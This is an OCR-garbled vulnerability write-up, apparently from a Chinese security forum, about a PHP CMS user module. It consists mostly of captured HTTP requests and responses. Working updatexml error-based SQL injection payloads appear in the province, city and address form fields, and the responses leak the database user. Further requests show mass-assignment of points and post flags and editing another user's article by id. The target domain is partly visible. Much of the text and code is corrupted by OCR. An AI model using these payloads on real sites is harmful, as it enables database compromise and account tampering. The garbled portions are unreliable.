Cookie: PHPSESSID=0jiqfscffe7vivcloviloffu26
Upgrade-Insecure-Requests: 1

.net

litpic=&file=&username=13012341234&tel=13012341234&email=10%40qq
.com&sex=1&province=1"' or (updatexml(1l,concat(@x7e, (select
user()),0x7e),1)) or
'&city=&address=&password=&repassword=&signature=&submit=%E6%8F%
90%EA%BA%AL

4

9

Server: nginx/1.17.7

Date: Thu, 21 May 2020 14:53:17 GMT

Content-Type: text/html; charset=UTF-8

Connection: close

X-Powered-By: PHP/5.6.40

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate,
post-check=0, pre-check=0

Pragma: no-cache

Set-Cookie: PHPSESSID=0jiqfscff@7vivcloviloffu26; expires=Thu,
21-May-2020 15:53:17 GMT; Max-Age=3600; path=/
Content-Length: 333

FHIREBRT: <br/>EUEESEIR: XPATH syntax error:
‘~root@localhost~"UPDATE : :_member SET username =
'13012341234", sex = '1', litpic = null, tel = '13012341234',
email = '10@qq.com', address = null, province = '1' or
(updatexml(1,concat(@x7e, (select user()),0x7e),1)) or "',
= null, signature = null WHERE id = '2'

city

(https://xzfile.aliyuncs.com/media/upload/picture/20200603192444-d35b8280-a58c-
1.png)

city FEEN


https://xzfile.aliyuncs.com/media/upload/picture/20200603192444-d35b8280-a58c-1.png
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Request Response

RawHeaders Hex Raw | Headers | Hex

Host: www.*™= net A HTTP/1.1 200 OK

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; [\ Server: nginx/1.17.7

rv:72.0) Gecko/20100101 Firefox/72.0 Date: Thu, 21 May 2020 14:55:03 GMT

Accept: Content-Type: text/html; charset=UTF-8

text/html,application/xhtml+xml,application/xml;q=0.9,image/webp, Connection: close

*/*;0=0.8 X-Powered-By: PHP/5.6.40

Accept-Language: Expires: Thu, 19 Nov 1981 ©8:52:00 GMT

zh-CN, zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Cache-Control: no-store, no-cache, must-revalidate,

Accept-Encoding: gzip, deflate post-check=0, pre-check=0

Content-Type: application/x-www-form-urlencoded Pragma: no-cache

Content-Length: 219 Set-Cookie: PHPSESSID=0jiqgfscff@7vivclOviloffu26; expires=Thu,

Origin: http://www., ’.net 21-May-2020 15:55:03 GMT; Max-Age=3600; path=/

Connection: close Content-Length: 333

Referer: http://www.,__..net/user/userinfo.html

Cookie: PHPSESSID=0jiqfscffe7vivcioviloffu2e HIRERRR: <br/>EIEEFEIR: XPATH syntax error:

Upgrade-Insecure-Requests: 1 '~root@localhost~'UPDATE . ._member SET username =
'13012341234", sex = '1', litpic = null, tel = '13012341234',

litpic=&file=&username=13012341234&tel=13012341234&email=10%40qq email = '10@qq.com', address = null, province = null, city =

.com&sex=1&province=&city=1"' or '1' or (updatexml(1l,concat(ex7e,(select user()),0x7e),1)) or

(updatexml(1,concat(@x7e, (select user()),0x7e),1)) or '', signature = null WHERE id = '2'

'&address=&password=&repassword=&signature=&submit=%E6%8F%90%E4%

BA%A4

PLIAG

(https://xzfile.aliyuncs.com/media/upload/picture/20200603192445-d403bd6a-a58¢-
1.png)

address ?—Eﬁf;ﬁﬂ_?

| | Raw Headers | Hex Raw | Headers | Hex
Host: www .net HTTP/1.1 200 OK
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; Server: nginx/1.17.7

rv:72.0) Gecko/20100101 Firefox/72.0 Date: Thu, 21 May 2020 14:57:03 GMT

T

Accept: Content-Type: text/html; charset=UTF-8

text/html,application/xhtml+xml,application/xml;q=0.9,image/webp, Connection: close

*/*;0=0.8 X-Powered-By: PHP/5.6.40

Accept-Language: Expires: Thu, 19 Nov 1981 ©8:52:00 GMT

zh-CN, zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Cache-Control: no-store, no-cache, must-revalidate,

Accept-Encoding: gzip, deflate post-check=0, pre-check=0

|Content-Type: application/x-www-form-urlencoded Pragma: no-cache

Content-Length: 219 I Set-Cookie: PHPSESSID=0jiqfscff@7vivcloviloffu26; expires=Thu,

Origin: http://www. .net 21-May-2020 15:57:03 GMT; Max-Age=3600; path=/

Connection: close Content-Length: 333

Referer: http://www.__ ..net/user/userinfo.html

Cookie: PHPSESSID=0jiqfscffo7vivcloviloffu26 SIRERIRT: <br/>IEEEIR: XPATH syntax error:

Upgrade-Insecure-Requests: 1 '~root@localhost~'UPDATE ' :_member SET username =
'13012341234", sex = '1', litpic = null, tel = '13012341234',

litpic=&file=&username=13012341234&tel=13012341234&email=10%40qq email = '16@qq.com', address = '1' or

.com&sex=1&province=&city=8&address=1"' or (updatexml(1,concat(@x7e, (select user()),0x7e),1)) or '',

| (updatexml(1,concat(@x7e, (select user()),0x7e),1)) or province = null, city = null, signature = null WHERE id = '2"'

'ppassword:&repassword:&signature:&submit=%E6%8F%90%E4%BA%A4
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1/ WGI 2
function buylist(){
$this->checklogin();
// 3 vl
$pagel = new Page('buylog');
$this->type = $this->frparam('type',0,1);
if($this->type==1){
$sql =" buytype='money' and type=2 ";
}else if($this->type==2){
$sql =" buytype='jifen' and type=1 ";
}else{

$sql = " type=3 *;

$datal = $pagel->where($sql)->orderby('addtime desc')->page($this->frparam('p',0,1))->go();
$pagel->file_ext = "';
$pagesl = $pagel->pagelist(5, ' '?p=");
$this->pagesl = $pagesl;
foreach($datal as $k=>$v){
$datal[$k][ 'date'] = date('Y-m-d H:i:s',$v[ 'addtime']);
$datal[$k][ 'details'] = U('user/buydetails',['id'=>$v['id']]);
}
$this->listsl = $datal;//AELH
$this->suml = $pagel->sum;// & £0#5
$this->listpagel = $pagel->listpage;// A - B & X A
$this->prevpagel = $pagel->prevpage;// [—H

$this->nextpagel = $pagel->nextpage;// F—&
$this->allpagel = $pagel->allpage;// s #
// TR
$page = new Page('orders');
$this->type = $this->frparam('type’,0,1);
if($this->type==1){

$sql =" ptype=1 ";
}else{

$sql =" ptype=2 ";



$sgql.=" and isshow!=0 ";

$data = $page->where($sql)->orderby('addtime desc')->page($this->frparam('page’',0,1))->go();

$page->file_ext = '';

$pages = $page->pagelList(5, '?page=");

$this->pages = $pages;

foreach($data as $k=>$v){
$data[$k]['date'] = date('Y-m-d H:i:s',$v['addtime’']);
$data[$k][ 'orderdetails'] = U('user/orderdetails',['orderno'=>$v['orderno']]);
$data[$k]['orderdel'] = U('user/orderdel',['orderno'=>$v['orderno']]);
$data[$k][ 'buytype'] = M('buylog')->getField(['orderno'=>$v[ 'orderno']], 'type');

}

$this->lists = $data;//JJHL

$this->sum = $page->sum;// . 5#

$this->listpage = $page->listpage;// HHHH- & XK i/

$this->prevpage = $page->prevpage;// L—H

$this->nextpage = $page->nextpage;// F—H
$this->allpage = $page->allpage;// .5 A

$this->display($this->template. ' /user/buy-1list"');
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Request

Raw | Params | Headers | Hex

Target: http://www.jz17.net @ E

Response

Raw | Headers | Hex | HTML | Render

POST /user/userinfo.html HTTP/1.1

Host: www. ~ '.net

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:72.0)
Gecko/20100101 Firefox/72.0

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/
*;0=0.8

Accept-Language:

zh-CN, zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 170

Origin: http://www.gm .. .net

Connection: close

Referer: http://www._ .net/user/userinfo.html

Cookie: PHPSESSID=hrtade8cillrfeeglt47e3elve
Upgrade-Insecure-Requests: 1

litpic=&file=&username=13011111111&tel=13011111111&email=333%40qq.c
om&sex=0&province=&city=&address=&password=&repassword=&signature=&
submit=%E6%8F%90%EA%BA%ALE] i‘FEn=1234|

v

HTTP/1.1 200 OK

Server: nginx/1.17.7

Date: Thu, 28 May 2020 08:26:20 GMT

Content-Type: text/html; charset=UTF-8

Connection: close

X-Powered-By: PHP/5.6.40

Expires: Thu, 19 Nov 1981 ©8:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate,
post-check=0, pre-check=0

Pragma: no-cache

Set-Cookie: PHPSESSID=hrtade8cillrfeeglt47e3elvo;
expires=Thu, 28-May-2020 09:26:20 GMT; Max-Age=3600; path=/
Content-Length: 308

<!DOCTYPE htmlL PUBLIC "-//W3C//DTD XHTML 1.0
Transitional//EN"
"http://www.w3.0rg/TR/xhtml1/DTD/xhtml1-transitional.dtd"><ht
ml xmlns="http://www.w3.0rg/1999/xhtml"><head><meta
http-equiv="Content-Type" content="text/html; charset=utf-8"
/><script>alert( " {EEXRRIN! ');
javascript:history.go(-1);</script>
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function userinfo(){

$this->checklogin();

if($_POST){
$w = $this->frparam();
$w['tel'] = $this->frparam('tel',1);
$w[ 'pass'] = $this->frparam('password',1);
$w[ 'sex'] = $this->frparam('sex',0,0);
$w[ 'repass'] = $this->frparam('repassword',1);
$w[ 'username'] = $this->frparam('username’,1);
$w['email’'] = $this->frparam('email’',1);
$w['litpic'] = $this->frparam('litpic',1);
$w[ 'signature'] = $this->frparam('signature’,1);
$w = get_fields_data($w, 'member',0);
if($w['tel'J!=""){

if(preg_match("/~(13[0-9]|14[579]|15[0-3,5-9]|16[6]|17[0135678]|18[0-9]|19[89])\\d{8}!

}else{
if($this->frparam('ajax")){
JsonReturn(['code'=>1, 'msg'=>"' FHL SR XEEIR! '1);

}
Error (' FHL SRR 1);

}
1/ b BT DAL
$r = M('member')->find(['tel'=>$w["'tel']]);
if($r){
if($r['id"']!=$this->member['id"']){

if($this->frparam('ajax"')){

JsonReturn(['code'=>1, 'msg'=>"'FH. 5 OHIEM! ']);
}
Error (' FHLS CHEM! *);

}

if($w['username']==""){



if($this->frparam('ajax')){
JsonReturn(['code'=>1, 'msg'=>"K I AREASE! ']);
}
Error ('R ARENT! 1))
}
if($w[ 'pass’']!=$w[ 'repass'] && $w['pass']!=""){
if($this->frparam('ajax"')){
JsonReturn(['code'=>1, 'msg'=>"HIRZMAF! '1);
}
Error (' PRIREAR! *);
}
if($w['email’]){
$r = M('member"')->find(['email'=>$w[ ‘email']]);
if($r){
if($r['id']!=$this->member['id"']){
if($this->frparam('ajax")){
JsonReturn(['code'=>1, 'msg'=>"MRF WAL '1);

}
Error("HRFH CBEER ');

}

$r = M('member')->find(['username'=>$w[ 'username']]);
if($r){
if($r['id"]!=$this->member['id"']){
if($this->frparam('ajax")){
JsonReturn(['code'=>1, 'msg'=>"MFCHALH! '1);
}
Error(' RO *);
}
}
if($w['pass']!=""){
$w[ 'pass’'] = md5(md5($w[ ‘pass’']).md5($w[ 'pass']));
}else{
unset($w[ 'pass']);

unset($w[ 'repass']);



}
$re = M('member')->update(['id'=>$this->member['id']],$w);

$member = M('member')->find(['id'=>$this->member['id']]);
unset($member['pass']);
$_SESSION[ '‘member'] = array_merge($_SESSION[ 'member'], $member);
if($this->frparam('ajax')){

JsonReturn(['code'=>0, 'msg'=>"1BHU&IN! '1);
}
Error("BEUEIN! ");

$this->display($this->template.'/user/userinfo');

ARIEEAIBEFRE admin BREEMBFRSBVE

/A/c/MemberController.php



function memberedit(){

$this->fields_biaoshi = 'member’;
if($this->frparam('go")==1){
$data = $this->frparam();

$data = get_fields_data($data, 'member');
$data[ 'username'] = $this->frparam('username’,1);
$data['email’'] = $this->frparam('email’,1);
$data['litpic'] = $this->frparam('litpic',1);
$data[ 'address'] = $this->frparam('address',1);
$data[ 'province'] = $this->frparam('province',1);
$data['city'] = $this->frparam('city',1);
$data[ 'signature'] = $this->frparam('signature’,1);
$data[ 'birthday'] = $this->frparam('birthday',1);
if($data['pass']!=""){
if($data[ 'pass’']!=%$data[ 'repass’']){
JsonReturn(array('code'=>1, 'msg'=>"HIRFLAR! '));
}
$data[ 'pass'] = md5(md5($data['pass’']).md5($data[ 'pass’']));
}else{
unset($data[ 'pass']);

}
if(M("'member')->update(array('id'=>$data['id"']),%data)){

JsonReturn(array('code'=>0, 'msg'=>"1BHU&IN! "));
}else{
JsonReturn(array('code'=>1, '‘msg'=>"BH LM, HEFRZ! '));

$this->data = M('member')->find(['id'=>$this->frparam('id')]);
if(!$this->data){
Error("WAEKENZHF! ');



$this->display( 'member-edit');

admin &MEEHY post FREINT:

POST /admin.php/Member/memberedit.html HTTP/1.1

Host: www.**.net

Content-Length: 159

Accept: */*

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Ch
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://www.**.net

Referer: http://www.**.net/admin.php/Member/memberedit/id/3.html
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Cookie: PHPSESSID=cdjbtp3sjhc70tgbpko7jguls5s

Connection: close

go=18&id=3&email=333%40qq.com&tel=13011111111&username=13011111111&gid=1&jifen=1234.00&1itpic=&file=8&b

HEFRXERBSER— jifen FEIEIGR, A/ update BARIEIEZES, (BEFHF
ISEHITERFEBRNAR admin (S0, XatiEmk 7 AP EEXERINR, BEIERc—
D jifen FERRIAT

R AERE SRR BRI EREA— 1S4 jifen-1234 HIRTLUESIRD T



POST /user/userinfo.html HTTP/1.1

Host: www.**.net

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 159

Origin: http://www.**.net

Connection: close

Referer: http://www.**.net/user/userinfo.html

Cookie: PHPSESSID=6jgmkudkuk71mdljmai77cj432

Upgrade-Insecure-Requests: 1

litpic=&file=&username=13011111111&tel=13011111111&email=333%40qq.com&sex=0&province=&city=&address=§&
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Raw | Params | Headers | Hex

POST /user/release.html HTTP/1.1

Host: www._ ..net

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

Content-Length: 107

Origin: http://www. 22 /.net

Connection: close

Referer: http://www.mm®, .net/user/release.html

Cookie: PHPSESSID=6jgmkudkuk7imdljmai77cj432

ajax=1&isshow=&molds=article&tid=2&title=hot&keywords=hot&litpic=&description=hot&body=%3Cp%3Ehot%3C%2Fp%3E&ishot=1
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1.png)
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if($this->frparam('title’,1)!=""){
$sgql.=" and title like '%".$this->frparam('title',1)."%"' ";
}
if($this->frparam('shuxing')){
if($this->frparam('shuxing')==1){
$sgl.=" and istop=1 ";
}
if($this->frparam('shuxing')==2){
$sgl.=" and ishot=1 ";
}
if($this->frparam('shuxing')==3){

$sql.=" and istuijian=1 ";

}
$data = $page->where($sql)->orderby('istop desc,orders desc,id desc')->limit($this->frparam('limit’,o

$ajaxdata = [];
foreach($data as $k=>$v){

if($v['ishot']==1){
$v['tuijian'] = "#';
Yelse if($v['istuijian’]==1){
$v['tuijian'] = '#';
telse if($v['istop']==1){
$v['tuijian'] = 'T0";
}else{
$v['tuijian'] = "E';



XER=FRE,  ishot=1 LRI, istuijian-t ARFE, istop-1 AR, WMRHAERREDR
HETT

FrUARBEERAFP A XERIMTRIIFER ishot=1 BYE istuijian-1 BRE istop=1 BAJ

POST /user/release.html HTTP/1.1

Host: www.**.net

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: application/json, text/javascript, */*; g=0.01

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

Content-Length: 119

Origin: http://www.**.net

Connection: close

Referer: http://www.** . net/user/release.html

Cookie: PHPSESSID=6jgmkudkuk71mdljmai77cj432

ajax=1&isshow=&molds=article&tid=2&title=hot&keywords=hoht&litpic=&description=hot&body=%3Cp%3Ehot%3C

%:;%EEE.EIIE HAUEIRIA BRFEMNNEAR
FH1Z%

/Home/c/UserController.php EF'E’\J release() E;f




/) RELKARNEL
function release(){

$molds = $this->frparam('molds',1, 'article');
$tid = $this->frparam('tid',0,0);
if($this->frparam('id')){
$this->data = M($molds)->find(['id'=>$this->frparam('id"'), 'member_id'=>$this->member['id"
$molds = $this->data[ 'molds'];
$this->moldsdata = M('molds')->find(['biaoshi'=>$molds]);
$tid = $this->data['tid'];
}else{
$this->data = false;

}
$this->molds = $molds;

$this->tid = $tid;
$this->classtypetree = get_classtype_tree();
$this->display($this->template. ' /user/article-add');
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POST /user/release.html HTTP/1.1

Host: www.**.net

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: application/json, text/javascript, */*; g=0.01

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

Content-Length: 117

Origin: http://www.**.net

Connection: close

Referer: http://www.**.net/user/release/id/29/molds/article.html

Cookie: PHPSESSID=1cfjs5408288d6q68julppqu60

ajax=18&1d=29&isshow=08&molds=article&tid=2&title=1&keywords=1&1litpic=&description=1&body=%3Cp%3E1%3Cbr:
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Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex

POST /user/release.html HTTP/1.1
Host: www.” .net

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.15;

rv:72.0) Gecko/20100101 Firefox/72.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language:

zh-CN, zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest
Content-Length: 117

Origin: http://www. w#7.net
Connection: close

Referer:

http://www.d ¥ .net/user/release/id/29/molds/article.html

Cookie: PHPSESSID=1cfjs5408288d6q68julppqu6o

ajax=1&id=13&isshow=0&molds=article&tid=2&title=1&keywords=1&1it

pic=&description=1&body=%3Cp%3E1%3Cbr%2F%3E%3C%2Fp%3E

T

HTTP/1.1 200 OK

Server: nginx/1.17.7

Date: Wed, 20 May 2020 14:45:35 GMT

Content-Type: text/html; charset=UTF-8

Connection: close

X-Powered-By: PHP/5.6.40

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate,
post-check=0, pre-check=0

Pragma: no-cache

Set-Cookie: PHPSESSID=1cfjs5408288d6q68julppqu6d; expires=Wed,
20-May-2020 15:45:35 GMT; Max-Age=3600; path=/
Content-Length: 113

{"code":0,"msg": "\udfee\u6539\u6210\u529f\uffo1","url": "http:\/\
/www. =" 7.net\/user\/posts\/molds\/article.html"}
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